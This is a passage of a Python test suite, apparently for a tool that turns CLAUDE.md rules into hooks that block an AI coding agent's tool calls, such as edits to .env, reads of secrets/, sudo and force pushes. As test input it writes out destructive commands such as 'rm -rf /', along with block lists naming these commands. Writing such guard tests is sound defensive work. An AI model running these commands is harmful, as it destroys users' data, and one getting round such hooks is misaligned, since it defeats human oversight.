  2771. check("file-guard read secrets", d is not None and 'secrets/' in d.patterns, True)
  2772. if d:
  2773. hook = generate_hook(d)
  2774. check("file-guard read includes Read tool", 'Read)' in hook, True)
  2775. d = classify_directive("Never modify .env files", 101)
  2776. if d:
  2777. hook = generate_hook(d)
  2778. check("file-guard write excludes Read tool", 'Read)' not in hook, True)
  2779. # Test prefer-command pattern ("Use X instead of Y")
  2780. d = classify_directive("Use pnpm instead of npm", 102)
  2781. check("prefer-command detected", d is not None and d.hook_type == 'bash-guard', True)
  2782. check("prefer-command blocks npm", d is not None and 'npm' in d.patterns, True)
  2783. d = classify_directive("Prefer yarn over npm", 103)
  2784. check("prefer-over detected", d is not None and d.hook_type == 'bash-guard', True)
  2785. check("prefer-over blocks npm", d is not None and 'npm' in d.patterns, True)
  2786. d = classify_directive("Use bun not npm", 104)
  2787. check("prefer-not detected", d is not None and d.hook_type == 'bash-guard', True)
  2788. d = classify_directive("Use poetry rather than pip", 105)
  2789. check("prefer-rather-than detected", d is not None and d.hook_type == 'bash-guard', True)
  2790. check("prefer-rather-than blocks pip", d is not None and 'pip' in d.patterns, True)
  2791. # Test "Always search locally before web search"
  2792. d = classify_directive("Always search locally before using web search", 106)
  2793. check("search-locally detected", d is not None and d.hook_type == 'require-prior-tool', True)
  2794. check("search-locally has Grep", d is not None and 'Grep' in d.patterns, True)
  2795. d = classify_directive("Check the codebase before using web search", 107)
  2796. check("check-codebase detected", d is not None and d.hook_type == 'require-prior-tool', True)
  2797. # Test tool-block doesn't include trailing "tool" word
  2798. d = classify_directive("Don't use WebSearch tool", 108)
  2799. check("tool-block no trailing tool", d is not None and d.hook_type == 'tool-block', True)
  2800. check("tool-block clean list", d is not None and d.patterns == ['WebSearch'], True)
  2801. d = classify_directive("Never use WebSearch", 109)
  2802. check("tool-block simple", d is not None and d.hook_type == 'tool-block', True)
  2803. check("tool-block simple list", d is not None and d.patterns == ['WebSearch'], True)
  2804. d = classify_directive("Don't use WebSearch or WebFetch", 110)
  2805. check("tool-block multi detect", d is not None and d.hook_type == 'tool-block', True)
  2806. check("tool-block multi has both", d is not None and 'WebSearch' in d.patterns and 'WebFetch' in d.patterns, True)
  2807. d = classify_directive("Never use WebSearch and WebFetch", 112)
  2808. check("tool-block and separator", d is not None and d.patterns == ['WebSearch', 'WebFetch'], True)
  2809. # Test tool-block: Write, Edit, Read (new tools)
  2810. d = classify_directive("Never use Write or Edit", 113)
  2811. check("tool-block write-edit", d is not None and d.hook_type == 'tool-block', True)
  2812. check("tool-block write-edit patterns", d is not None and 'Write' in d.patterns and 'Edit' in d.patterns, True)
  2813. d = classify_directive("Don't use the Read tool", 114)
  2814. check("tool-block read", d is not None and d.hook_type == 'tool-block', True)
  2815. check("tool-block read pattern", d is not None and d.patterns == ['Read'], True)
  2816. # Test file-modify-block: "Never modify any files" → tool-block for Write/Edit/MultiEdit
  2817. d = classify_directive("Never modify any files", 115)
  2818. check("file-modify-block detect", d is not None and d.hook_type == 'tool-block', True)
  2819. check("file-modify-block has Write", d is not None and 'Write' in d.patterns, True)
  2820. check("file-modify-block has Edit", d is not None and 'Edit' in d.patterns, True)
  2821. check("file-modify-block has MultiEdit", d is not None and 'MultiEdit' in d.patterns, True)
  2822. d = classify_directive("Never write any files", 116)
  2823. check("file-modify-block write", d is not None and d.hook_type == 'tool-block', True)
  2824. d = classify_directive("Don't edit files", 117)
  2825. check("file-modify-block edit", d is not None and d.hook_type == 'tool-block', True)
  2826. d = classify_directive("Avoid creating files", 118)
  2827. check("file-modify-block create", d is not None and d.hook_type == 'tool-block', True)
  2828. # Test tool-block with redirect suggestion (#41222 pattern)
  2829. d = classify_directive("Don't use WebSearch, use XURL instead", 200)
  2830. check("tool-block redirect detect", d is not None and d.hook_type == 'tool-block', True)
  2831. check("tool-block redirect pattern", d is not None and 'WebSearch' in d.patterns, True)
  2832. # Verify redirect text preserved in hook message
  2833. hook = generate_hook(d) if d else ''
  2834. check("tool-block redirect msg has XURL", 'XURL instead' in hook, True)
  2835. # Test bash-guard: SQL command extraction from comma-separated lists
  2836. d = classify_directive("Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE", 119)
  2837. check("sql-commands detect", d is not None and d.hook_type == 'bash-guard', True)
  2838. check("sql-commands has ALTER", d is not None and 'ALTER' in d.patterns, True)
  2839. check("sql-commands has DROP", d is not None and 'DROP' in d.patterns, True)
  2840. check("sql-commands has DELETE", d is not None and 'DELETE' in d.patterns, True)
  2841. # Test bash-guard: docker commands
  2842. d = classify_directive("Never run docker restart, docker stop, docker build, or docker rm", 120)
  2843. check("docker-commands detect", d is not None and d.hook_type == 'bash-guard', True)
  2844. check("docker-commands has restart", d is not None and 'docker restart' in d.patterns, True)
  2845. check("docker-commands has stop", d is not None and 'docker stop' in d.patterns, True)
  2846. # Test bash-guard: git commit/merge
  2847. d = classify_directive("Never run git commit, git push, or git merge", 121)
  2848. check("git-commands detect", d is not None and d.hook_type == 'bash-guard', True)
  2849. check("git-commands has commit", d is not None and 'git commit' in d.patterns, True)
  2850. check("git-commands has merge", d is not None and 'git merge' in d.patterns, True)
  2851. check("git-commands has push", d is not None and 'git push' in d.patterns, True)
  2852. # Test prefer-language as file-guard edge case
  2853. d = classify_directive("Prefer TypeScript over JavaScript for new files", 111)
  2854. check("prefer-language detected", d is not None, True)
  2855. # --- evaluate_tool_call tests ---
  2856. def section(name):
  2857. pass # silent sections, only failures print
  2858. section("evaluate: file-guard")
  2859. d = Directive("Never modify .env files", "file-guard", [".env"], "protect env", 1)
  2860. r = evaluate_tool_call([d], "Write", {"file_path": "/project/.env"})
  2861. check("eval: blocks Write to .env", r["decision"], "block")
  2862. r = evaluate_tool_call([d], "Edit", {"file_path": "/project/.env"})
  2863. check("eval: blocks Edit to .env", r["decision"], "block")
  2864. r = evaluate_tool_call([d], "MultiEdit", {"file_path": "/project/.env"})
  2865. check("eval: blocks MultiEdit to .env", r["decision"], "block")
  2866. r = evaluate_tool_call([d], "Write", {"file_path": "/project/app.py"})
  2867. check("eval: allows Write to app.py", r["decision"], "allow")
  2868. r = evaluate_tool_call([d], "Bash", {"command": "echo hi"})
  2869. check("eval: ignores Bash for file-guard", r["decision"], "allow")
  2870. r = evaluate_tool_call([d], "Read", {"file_path": "/project/.env"})
  2871. check("eval: allows Read .env (no read verb)", r["decision"], "allow")
  2872. d2 = Directive("Don't read files in secrets/", "file-guard", ["secrets/"], "protect secrets", 2)
  2873. r = evaluate_tool_call([d2], "Read", {"file_path": "/project/secrets/key.pem"})
  2874. check("eval: blocks Read secrets/ (read verb)", r["decision"], "block")
  2875. r = evaluate_tool_call([d2], "Write", {"file_path": "/project/secrets/key.pem"})
  2876. check("eval: blocks Write secrets/ too", r["decision"], "block")
  2877. r = evaluate_tool_call([d2], "Read", {"file_path": "/project/src/main.py"})
  2878. check("eval: allows Read non-secrets", r["decision"], "allow")
  2879. section("evaluate: bash-guard")
  2880. d = Directive("Never run rm -rf", "bash-guard", ["rm -rf"], "block rm", 3)
  2881. r = evaluate_tool_call([d], "Bash", {"command": "rm -rf /"})
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 3,279 on GitHub
  2882. check("eval: blocks rm -rf", r["decision"], "block")
  2883. r = evaluate_tool_call([d], "Bash", {"command": "RM -RF /tmp"})
  2884. check("eval: blocks rm -rf case-insensitive", r["decision"], "block")
  2885. r = evaluate_tool_call([d], "Bash", {"command": "ls -la"})
  2886. check("eval: allows ls", r["decision"], "allow")
  2887. r = evaluate_tool_call([d], "Write", {"file_path": "x"})
  2888. check("eval: ignores Write for bash-guard", r["decision"], "allow")
  2889. d = Directive("Don't use sudo", "bash-guard", ["sudo"], "block sudo", 4)
  2890. r = evaluate_tool_call([d], "Bash", {"command": "sudo apt install vim"})
  2891. check("eval: blocks sudo", r["decision"], "block")
  2892. r = evaluate_tool_call([d], "Bash", {"command": "apt install vim"})
  2893. check("eval: allows non-sudo", r["decision"], "allow")
  2894. d = Directive("Never run rm", "bash-guard", ["rm"], "block rm", 5)
  2895. r = evaluate_tool_call([d], "Bash", {"command": "rm notes.md"})
  2896. check("eval: blocks rm command token", r["decision"], "block")
  2897. r = evaluate_tool_call([d], "Bash", {"command": "echo term notes.md"})
  2898. check("eval: rm token does not match term", r["decision"], "allow")
  2899. d = Directive("Never run touch or mkdir", "bash-guard", ["touch", "mkdir"], "block fs creation", 6)
  2900. r = evaluate_tool_call([d], "Bash", {"command": "touch notes.md"})
  2901. check("eval: blocks touch command token", r["decision"], "block")
  2902. r = evaluate_tool_call([d], "Bash", {"command": "mkdir audit-output"})
  2903. check("eval: blocks mkdir command token", r["decision"], "block")
  2904. section("evaluate: tool-block")
  2905. d = Directive("Don't use WebSearch", "tool-block", ["WebSearch"], "block web", 5)
  2906. r = evaluate_tool_call([d], "WebSearch", {})
  2907. check("eval: blocks WebSearch", r["decision"], "block")
  2908. r = evaluate_tool_call([d], "Read", {})
  2909. check("eval: allows Read", r["decision"], "allow")
  2910. r = evaluate_tool_call([d], "WebFetch", {})
  2911. check("eval: allows WebFetch (not blocked)", r["decision"], "allow")
  2912. d = Directive("Don't use WebSearch or WebFetch", "tool-block", ["WebSearch", "WebFetch"], "block web", 6)
  2913. r = evaluate_tool_call([d], "WebSearch", {})
  2914. check("eval: multi-tool blocks WebSearch", r["decision"], "block")
  2915. r = evaluate_tool_call([d], "WebFetch", {})
  2916. check("eval: multi-tool blocks WebFetch", r["decision"], "block")
  2917. r = evaluate_tool_call([d], "Grep", {})
  2918. check("eval: multi-tool allows Grep", r["decision"], "allow")
  2919. section("evaluate: branch-guard")
  2920. d = Directive("Never commit to main", "branch-guard", ["main"], "protect main", 7)
  2921. r = evaluate_tool_call([d], "Bash", {"command": "ls -la"})
  2922. check("eval: branch-guard ignores non-git", r["decision"], "allow")
  2923. r = evaluate_tool_call([d], "Write", {"file_path": "x"})
  2924. check("eval: branch-guard ignores Write", r["decision"], "allow")
  2925. section("evaluate: multiple directives")
  2926. d1 = Directive("Never modify .env", "file-guard", [".env"], "protect env", 1)
  2927. d2 = Directive("Never run rm -rf", "bash-guard", ["rm -rf"], "block rm", 2)
  2928. d3 = Directive("Don't use WebSearch", "tool-block", ["WebSearch"], "block web", 3)
  2929. all_d = [d1, d2, d3]
  2930. r = evaluate_tool_call(all_d, "Bash", {"command": "rm -rf /"})
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 3,335 on GitHub
  2931. check("eval: multi matches bash-guard", r["decision"], "block")
  2932. r = evaluate_tool_call(all_d, "Write", {"file_path": ".env"})
  2933. check("eval: multi matches file-guard", r["decision"], "block")
  2934. r = evaluate_tool_call(all_d, "WebSearch", {})
  2935. check("eval: multi matches tool-block", r["decision"], "block")
  2936. r = evaluate_tool_call(all_d, "Read", {"file_path": "app.py"})
  2937. check("eval: multi allows unmatched", r["decision"], "allow")
  2938. r = evaluate_tool_call(all_d, "Bash", {"command": "echo hello"})
  2939. check("eval: multi allows safe bash", r["decision"], "allow")
  2940. section("evaluate: empty/edge cases")
  2941. r = evaluate_tool_call([], "Bash", {"command": "rm -rf /"})
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 3,347 on GitHub
  2942. check("eval: no directives allows all", r["decision"], "allow")
  2943. r = evaluate_tool_call([d1], "Write", {})
  2944. check("eval: no file_path allows", r["decision"], "allow")
  2945. r = evaluate_tool_call([d2], "Bash", {})
  2946. check("eval: no command allows", r["decision"], "allow")
  2947. section("evaluate: require-prior-tool targets Edit correctly (BUG 1 fix)")
  2948. d = Directive("Always read before editing", "require-prior-tool", ["Read", "Edit"], "read first", 50)
  2949. r = evaluate_tool_call([d], "Edit", {"file_path": "/project/app.py"})
  2950. check("eval: require-prior-tool targets Edit not Bash", r["decision"], "block")
  2951. r = evaluate_tool_call([d], "Bash", {"command": "echo hello"})
  2952. check("eval: require-prior-tool ignores Bash for Edit target", r["decision"], "allow")
  2953. d = Directive("Always read before writing", "require-prior-tool", ["Read", "Write"], "read first", 51)
  2954. r = evaluate_tool_call([d], "Write", {"file_path": "/project/app.py", "content": "x"})
  2955. check("eval: require-prior-tool targets Write not Bash", r["decision"], "block")
  2956. r = evaluate_tool_call([d], "Bash", {"command": "ls"})
  2957. check("eval: require-prior-tool ignores Bash for Write target", r["decision"], "allow")
  2958. section("evaluate: require-prior-command handled (BUG 2 fix)")
  2959. d = Directive("Always run tests before committing", "require-prior-command",
  2960. ["test", "committing"], "test before commit", 52)
  2961. r = evaluate_tool_call([d], "Bash", {"command": "git commit -m 'fix'"})
  2962. check("eval: require-prior-command blocks git commit", r["decision"], "block")
  2963. r = evaluate_tool_call([d], "Bash", {"command": "echo hello"})
  2964. check("eval: require-prior-command allows non-commit", r["decision"], "allow")
  2965. r = evaluate_tool_call([d], "Write", {"file_path": "x", "content": "y"})
  2966. check("eval: require-prior-command ignores Write", r["decision"], "allow")
  2967. section("evaluate: bash-guard force-push precision (BUG 3 fix)")
  2968. d = Directive("Don't force push", "bash-guard", ["force push", "push --force", "push -f"],
  2969. "no force push", 53)
  2970. r = evaluate_tool_call([d], "Bash", {"command": "git push --force origin main"})
  2971. check("eval: force-push blocks push --force", r["decision"], "block")
  2972. r = evaluate_tool_call([d], "Bash", {"command": "git push -f origin main"})
  2973. check("eval: force-push blocks push -f", r["decision"], "block")
  2974. r = evaluate_tool_call([d], "Bash", {"command": "git push origin feature-branch"})
  2975. check("eval: force-push allows normal push", r["decision"], "allow")
  2976. r = evaluate_tool_call([d], "Bash", {"command": "npm run push-notification"})
  2977. check("eval: force-push allows unrelated push", r["decision"], "allow")
  2978. r = evaluate_tool_call([d], "Bash", {"command": "docker push myimage:latest"})
  2979. check("eval: force-push allows docker push", r["decision"], "allow")
  2980. section("evaluate: cache round-trip")
  2981. with tempfile.TemporaryDirectory() as tmpdir:
  2982. md = Path(tmpdir) / 'CLAUDE.md'
  2983. md.write_text('- Never modify .env @enforced\n- Never run sudo @enforced\n')
  2984. cache_dir = Path(tmpdir) / 'cache'
  2985. cache_dir.mkdir()
  2986. # No cache yet
  2987. cached = load_cached_directives(str(md), str(cache_dir))
  2988. check("eval: cache miss returns None", cached, None)
  2989. # Scan and save
  2990. enforceable, _ = scan_file(str(md))
  2991. save_cached_directives(str(md), enforceable, str(cache_dir))
  2992. # Cache hit
  2993. cached = load_cached_directives(str(md), str(cache_dir))
  2994. check("eval: cache hit returns list", cached is not None, True)
  2995. check("eval: cache preserves count", len(cached) if cached else 0, len(enforceable))
  2996. # Modify file invalidates cache
  2997. import time
  2998. time.sleep(0.05)
  2999. md.write_text('- Never modify .env @enforced\n')
  3000. cached = load_cached_directives(str(md), str(cache_dir))
  3001. check("eval: mtime change invalidates cache", cached, None)
  3002. # Test scan_suggestions (finds enforceable rules without @enforced tags)
  3003. no_tags = """# Project Rules
  3004. ## Safety
  3005. - Never modify .env or .env.local files
  3006. - Do not edit any file in the secrets/ directory
  3007. - Never run `rm -rf` commands
  3008. - Do not use `git push --force` or `git push -f`
  3009. - Never commit directly to main or master branch
  3010. - Always run tests before committing
  3011. ## Style
  3012. - Use 4-space indentation
  3013. - Write clean code
  3014. """
  3015. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  3016. f.write(no_tags)
  3017. f.flush()
  3018. enforceable_tagged, _ = scan_file(f.name)
  3019. check("no-tag scan finds nothing", len(enforceable_tagged), 0)
  3020. suggestions = scan_suggestions(f.name)
  3021. check("suggestions finds rules", len(suggestions) >= 4, True)
  3022. stypes = {d.hook_type for d in suggestions}
  3023. check("suggestions has file-guard", 'file-guard' in stypes, True)
  3024. check("suggestions has bash-guard", 'bash-guard' in stypes, True)
  3025. check("suggestions has branch-guard", 'branch-guard' in stypes, True)
  3026. os.unlink(f.name)
  3027. # Test suggestions ignores code blocks and headers
  3028. code_block_md = """# Rules
  3029. ## Safety
  3030. - Never modify .env files
  3031. ```bash
  3032. rm -rf /tmp/test
  3033. ```
  3034. - Never run `sudo` commands
  3035. """
  3036. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  3037. f.write(code_block_md)
  3038. f.flush()
  3039. suggestions = scan_suggestions(f.name)
  3040. texts = [d.text for d in suggestions]
  3041. check("suggestions skips code blocks", not any('tmp/test' in t for t in texts), True)
  3042. check("suggestions finds sudo rule", len(suggestions) >= 1, True)
  3043. os.unlink(f.name)
  3044. # --- Content-guard tests ---
  3045. # Classification
  3046. d = classify_directive("Never write `console.log` in production code", 80)
  3047. check("content-guard console.log", d is not None and d.hook_type == 'content-guard', True)
  3048. check("content-guard console.log pattern", d is not None and d.patterns == ['console.log'], True)
  3049. d = classify_directive("Don't use the `any` type in TypeScript files", 81)
  3050. check("content-guard any type", d is not None and d.hook_type == 'content-guard', True)
  3051. check("content-guard any pattern", d is not None and d.patterns == ['any'], True)
  3052. d = classify_directive("Never include `debugger` statements in code", 82)
  3053. check("content-guard debugger", d is not None and d.hook_type == 'content-guard', True)
  3054. d = classify_directive("Don't use `eval()` in production code", 83)
  3055. check("content-guard eval", d is not None and d.hook_type == 'content-guard', True)
  3056. d = classify_directive("Avoid `var` keyword in JavaScript", 84)
  3057. check("content-guard var keyword", d is not None and d.hook_type == 'content-guard', True)
  3058. d = classify_directive("No `console.log` statements", 85)
  3059. check("content-guard no-statements", d is not None and d.hook_type == 'content-guard', True)
  3060. # Content-guard should NOT match command-like patterns
  3061. d = classify_directive("Never run `rm -rf /`", 86)
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 3,492 on GitHub
  3062. check("content-guard not rm", d is not None and d.hook_type == 'bash-guard', True)
  3063. # Hook generation
  3064. d = Directive(
  3065. text="Never write `console.log` @enforced",
  3066. hook_type='content-guard',
  3067. patterns=['console.log'],
  3068. description="Block writing: console.log",
  3069. line_num=1,
  3070. )
  3071. hook = generate_hook(d)
  3072. check("content-guard hook generated", hook is not None, True)
  3073. check("content-guard hook has grep", 'grep' in hook, True)
  3074. check("content-guard hook has console.log", 'console.log' in hook, True)
  3075. check("content-guard hook checks Edit", 'Edit' in hook, True)
  3076. check("content-guard hook checks Write", 'Write' in hook, True)
  3077. # Evaluate mode
  3078. d = Directive(
  3079. text="Never write `console.log` @enforced",
  3080. hook_type='content-guard',
  3081. patterns=['console.log'],
  3082. description="Block writing: console.log",
  3083. line_num=1,
  3084. )
  3085. result = _check_single(d, 'Edit', {'new_string': 'console.log("debug")', 'file_path': 'app.js', 'old_string': ''})
  3086. check("content-guard evaluate blocks", result is not None and result['decision'] == 'block', True)
  3087. result = _check_single(d, 'Write', {'content': 'function hello() { return 1; }', 'file_path': 'app.js'})
  3088. check("content-guard evaluate allows clean", result is None, True)
  3089. result = _check_single(d, 'Write', {'content': 'console.log("test")\nreturn 1;', 'file_path': 'app.js'})
  3090. check("content-guard evaluate blocks write", result is not None and result['decision'] == 'block', True)
  3091. result = _check_single(d, 'Bash', {'command': 'echo hello'})
  3092. check("content-guard ignores bash", result is None, True)
  3093. result = _check_single(d, 'Read', {'file_path': 'app.js'})
  3094. check("content-guard ignores read", result is None, True)
  3095. # --- Bare code identifier tests (no backticks) ---
  3096. d = classify_directive("Never write console.log in production code", 200)
  3097. check("bare console.log detected", d is not None and d.hook_type == 'content-guard', True)
  3098. check("bare console.log pattern", d is not None and 'console.log' in (d.patterns[0] if d else ''), True)
  3099. d = classify_directive("Never use eval() in any file", 201)
  3100. check("bare eval() detected", d is not None and d.hook_type == 'content-guard', True)
  3101. d = classify_directive("Don't use exec() in production code", 202)
  3102. check("bare exec() detected", d is not None and d.hook_type == 'content-guard', True)
  3103. d = classify_directive("Avoid debugger in JavaScript files", 203)
  3104. check("bare debugger detected", d is not None and d.hook_type == 'content-guard', True)
  3105. d = classify_directive("Don't include document.write in any page", 204)
  3106. check("bare document.write detected", d is not None and d.hook_type == 'content-guard', True)
  3107. d = classify_directive("No console.log", 205)
  3108. check("bare no-console.log detected", d is not None and d.hook_type == 'content-guard', True)
  3109. d = classify_directive("Avoid innerHTML assignments", 206)
  3110. check("bare innerHTML detected", d is not None and d.hook_type == 'content-guard', True)
  3111. # Bare identifiers should NOT steal from bash-guard
  3112. d = classify_directive("Never run rm -rf /", 207)
    • Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
    • Line 3,558 on GitHub
  3113. check("bare rm still bash-guard", d is not None and d.hook_type == 'bash-guard', True)
  3114. # --- "After every change" require-prior tests ---
  3115. d = classify_directive("Run npm test after every code change", 210)
  3116. check("after-change detected", d is not None and d.hook_type in ('require-prior-tool', 'require-prior-command'), True)
  3117. check("after-change has npm test", d is not None and 'npm test' in str(d.patterns), True)
  3118. d = classify_directive("Always run pytest after each modification", 211)
  3119. check("after-modification detected", d is not None and d.hook_type in ('require-prior-tool', 'require-prior-command'), True)
  3120. # --- "Push without PR" bash-guard tests ---
  3121. d = classify_directive("Do not push to origin without creating a PR first", 220)
  3122. check("push-without-pr detected", d is not None and d.hook_type == 'bash-guard', True)
  3123. check("push-without-pr has push", d is not None and any('push' in p for p in (d.patterns if d else [])), True)
  3124. d = classify_directive("Never push without opening a pull request", 221)
  3125. check("push-without-pr variant", d is not None and d.hook_type == 'bash-guard', True)
  3126. # --- Top-level heading @enforced propagation ---
  3127. toplevel_md = """# Rules @enforced
  3128. - Never modify .env files
  3129. - Don't push to main directly
  3130. """
  3131. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  3132. f.write(toplevel_md)
  3133. f.flush()
  3134. enforced, skipped = scan_file(f.name)
  3135. check("toplevel @enforced propagates", len(enforced) >= 2, True)
  3136. types = [d.hook_type for d in enforced]
  3137. check("toplevel has file-guard", 'file-guard' in types, True)
  3138. check("toplevel has branch-guard", 'branch-guard' in types, True)
  3139. os.unlink(f.name)
  3140. # --- Lock file detection tests ---
  3141. d = classify_directive("Protected files: package-lock.json, yarn.lock", 90)
  3142. check("lock-files detected", d is not None and d.hook_type == 'file-guard', True)
  3143. check("lock-files has package-lock", d is not None and 'package-lock.json' in d.patterns, True)
  3144. check("lock-files has yarn.lock", d is not None and 'yarn.lock' in d.patterns, True)
  3145. d = classify_directive("Never modify Gemfile.lock or Cargo.lock", 91)
  3146. check("lock-files gemfile", d is not None and d.hook_type == 'file-guard', True)
  3147. check("lock-files has Gemfile.lock", d is not None and 'Gemfile.lock' in d.patterns, True)
  3148. check("lock-files has Cargo.lock", d is not None and 'Cargo.lock' in d.patterns, True)
  3149. d = classify_directive("Don't edit pnpm-lock.yaml or poetry.lock", 92)
  3150. check("lock-files pnpm", d is not None and d.hook_type == 'file-guard', True)
  3151. # --- .env variants ---
  3152. d = classify_directive("Never modify .env.local files", 93)
  3153. check("env-local detected", d is not None and d.hook_type == 'file-guard', True)
  3154. # --- Read before editing ---
  3155. d = classify_directive("Read the relevant test file before editing source code", 95)
  3156. check("read-before-edit detected", d is not None and d.hook_type == 'require-prior-tool', True)
  3157. check("read-before-edit requires Read", d is not None and d.patterns[0] == 'Read', True)
  3158. d = classify_directive("Always read the spec before modifying implementation", 96)
  3159. check("read-before-modify detected", d is not None and d.hook_type == 'require-prior-tool', True)
  3160. # --- Read specific file before editing (reading-order enforcement) ---
  3161. d = classify_directive("Read MEMORY.md before editing any file", 97)
  3162. check("read-file-order detected", d is not None and d.hook_type == 'require-prior-read-file', True)
  3163. check("read-file-order file", d is not None and d.patterns[0] == 'MEMORY.md', True)
  3164. check("read-file-order targets", d is not None and 'Edit' in d.patterns[1], True)
  3165. d = classify_directive("Always read project.md before any modification", 98)
  3166. check("read-file-order project.md", d is not None and d.hook_type == 'require-prior-read-file', True)
  3167. check("read-file-order project file", d is not None and d.patterns[0] == 'project.md', True)
  3168. d = classify_directive("Read CLAUDE.md before writing any file", 99)
  3169. check("read-file-order CLAUDE.md", d is not None and d.hook_type == 'require-prior-read-file', True)
  3170. check("read-file-order CLAUDE file", d is not None and d.patterns[0] == 'CLAUDE.md', True)
  3171. d = classify_directive("Read rules.yaml before editing", 100)
  3172. check("read-file-order yaml", d is not None and d.hook_type == 'require-prior-read-file', True)
  3173. check("read-file-order yaml file", d is not None and d.patterns[0] == 'rules.yaml', True)
  3174. d = classify_directive("Read config/settings.toml before any modification", 101)
  3175. check("read-file-order nested path", d is not None and d.hook_type == 'require-prior-read-file', True)
  3176. check("read-file-order nested file", d is not None and d.patterns[0] == 'config/settings.toml', True)
  3177. # Verify hook generation for require-prior-read-file
  3178. d = Directive("Read MEMORY.md before editing", 'require-prior-read-file',
  3179. ['MEMORY.md', 'Write|Edit|MultiEdit'], "Read MEMORY.md first", severity='block')
  3180. script = generate_hook(d)
  3181. check("read-file-order generates hook", script is not None, True)
  3182. check("read-file-order hook has MEMORY.md", script is not None and 'MEMORY.md' in script, True)
  3183. check("read-file-order hook has deny", script is not None and 'deny' in script, True)
  3184. check("read-file-order hook checks Read tool", script is not None and '"tool":"Read"' in script, True)
  3185. d = Directive("Read MEMORY.md before editing", 'require-prior-read-file',
  3186. ['MEMORY.md', 'Write|Edit|MultiEdit'], "Read MEMORY.md first", severity='warn')
  3187. script = generate_hook(d)
  3188. check("read-file-order warn generates hook", script is not None, True)
  3189. check("read-file-order warn has WARN", script is not None and 'WARN' in script, True)
  3190. check("read-file-order warn no deny", script is not None and 'deny' not in script, True)
  3191. # --- scan_suggestions UX: no @enforced but classifiable rules ---
  3192. section("scan_suggestions")
  3193. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  3194. f.write("# Rules\n- Never modify .env files\n- Don't force push\n")
  3195. tmp_path = f.name
  3196. try:
  3197. sugg = scan_suggestions(tmp_path)
  3198. check("suggestions found without @enforced", len(sugg) >= 1, True)
  3199. types = [s.hook_type for s in sugg]
  3200. check("file-guard in suggestions", 'file-guard' in types, True)
  3201. check("bash-guard in suggestions", 'bash-guard' in types, True)
  3202. # Tagged version should find enforceable
  3203. with open(tmp_path, 'w') as f:
  3204. f.write("# Rules\n- Never modify .env files @enforced\n")
  3205. enf, _ = scan_file(tmp_path)
  3206. check("@enforced tags produce enforceable", len(enf) >= 1, True)
  3207. finally:
  3208. os.unlink(tmp_path)
  3209. # Empty file should return no suggestions
  3210. with tempfile.NamedTemporaryFile(mode='w', suffix='.md', delete=False) as f:
  3211. f.write("")
  3212. tmp_path = f.name
  3213. try:
  3214. sugg = scan_suggestions(tmp_path)
  3215. check("empty file: no suggestions", len(sugg), 0)
  3216. finally:
  3217. os.unlink(tmp_path)
  3218. # --- Concept-based content-guard tests ---
  3219. d = classify_directive("Never use inline styles in HTML files @enforced", 300)
  3220. check("concept inline styles detected", d is not None and d.hook_type == 'content-guard', True)
  3221. check("concept inline styles pattern", d is not None and d.patterns == ['style='], True)
  3222. d = classify_directive("Don't use inline style attributes @enforced", 301)
  3223. check("concept inline style singular", d is not None and d.hook_type == 'content-guard', True)
  3224. d = classify_directive("Never use HEX color codes in CSS files @enforced", 302)
  3225. check("concept hex color detected", d is not None and d.hook_type == 'content-guard', True)
  3226. check("concept hex color pattern", d is not None and '#[0-9a-fA-F]' in (d.patterns[0] if d else ''), True)
  3227. d = classify_directive("Avoid !important in stylesheets @enforced", 303)
  3228. check("concept !important detected", d is not None and d.hook_type == 'content-guard', True)
  3229. check("concept !important pattern", d is not None and d.patterns == ['!important'], True)
  3230. d = classify_directive("No TODO comments in production code @enforced", 304)
  3231. check("concept TODO detected", d is not None and d.hook_type == 'content-guard', True)
  3232. check("concept TODO pattern", d is not None and d.patterns == ['TODO'], True)
  3233. d = classify_directive("Never use eslint-disable comments @enforced", 305)
  3234. check("concept eslint-disable detected", d is not None and d.hook_type == 'content-guard', True)
  3235. d = classify_directive("No ts-ignore directives @enforced", 306)
  3236. check("concept ts-ignore detected", d is not None and d.hook_type == 'content-guard', True)
  3237. d = classify_directive("Avoid wildcard imports @enforced", 307)
  3238. check("concept wildcard import detected", d is not None and d.hook_type == 'content-guard', True)
  3239. # Concept content-guard evaluate: inline styles
  3240. d = Directive(
  3241. text="Never use inline styles @enforced",
  3242. hook_type='content-guard',
  3243. patterns=['style='],
  3244. description="Block writing: style=",
  3245. line_num=1,
  3246. )
  3247. result = _check_single(d, 'Edit', {'new_string': '<div style="color: red">', 'file_path': 'app.html', 'old_string': ''})
  3248. check("concept inline style blocks edit", result is not None and result['decision'] == 'block', True)
  3249. result = _check_single(d, 'Write', {'content': '<div class="container">Hello</div>', 'file_path': 'app.html'})
  3250. check("concept inline style allows clean", result is None, True)
  3251. # Concept content-guard evaluate: HEX colors
  3252. d = Directive(
  3253. text="Never use HEX color codes @enforced",
  3254. hook_type='content-guard',
  3255. patterns=['#[0-9a-fA-F]'],
  3256. description="Block writing: #[0-9a-fA-F]",
  3257. line_num=1,
  3258. )
  3259. result = _check_single(d, 'Edit', {'new_string': 'color: #ff0000;', 'file_path': 'style.css', 'old_string': ''})
  3260. check("concept hex color blocks edit", result is not None and result['decision'] == 'block', True)
  3261. result = _check_single(d, 'Write', {'content': 'color: var(--primary);', 'file_path': 'style.css'})
  3262. check("concept hex color allows clean", result is None, True)
  3263. # Parenthetical example extraction
  3264. d = classify_directive('Never use inline styles (style="...") in templates @enforced', 310)
  3265. check("paren example detected", d is not None and d.hook_type == 'content-guard', True)
  3266. # Concept should NOT steal from other guard types
  3267. d = classify_directive("Never modify .env files @enforced", 320)
  3268. check("concept doesn't steal file-guard", d is not None and d.hook_type == 'file-guard', True)
  3269. d = classify_directive("Don't force push @enforced", 321)
  3270. check("concept doesn't steal bash-guard", d is not None and d.hook_type == 'bash-guard', True)
  3271. # --- Scoped content-guard tests ---
  3272. # Classification: "only in" patterns
  3273. d = classify_directive("Interfaces should only be defined in types/ folders @enforced", 400)
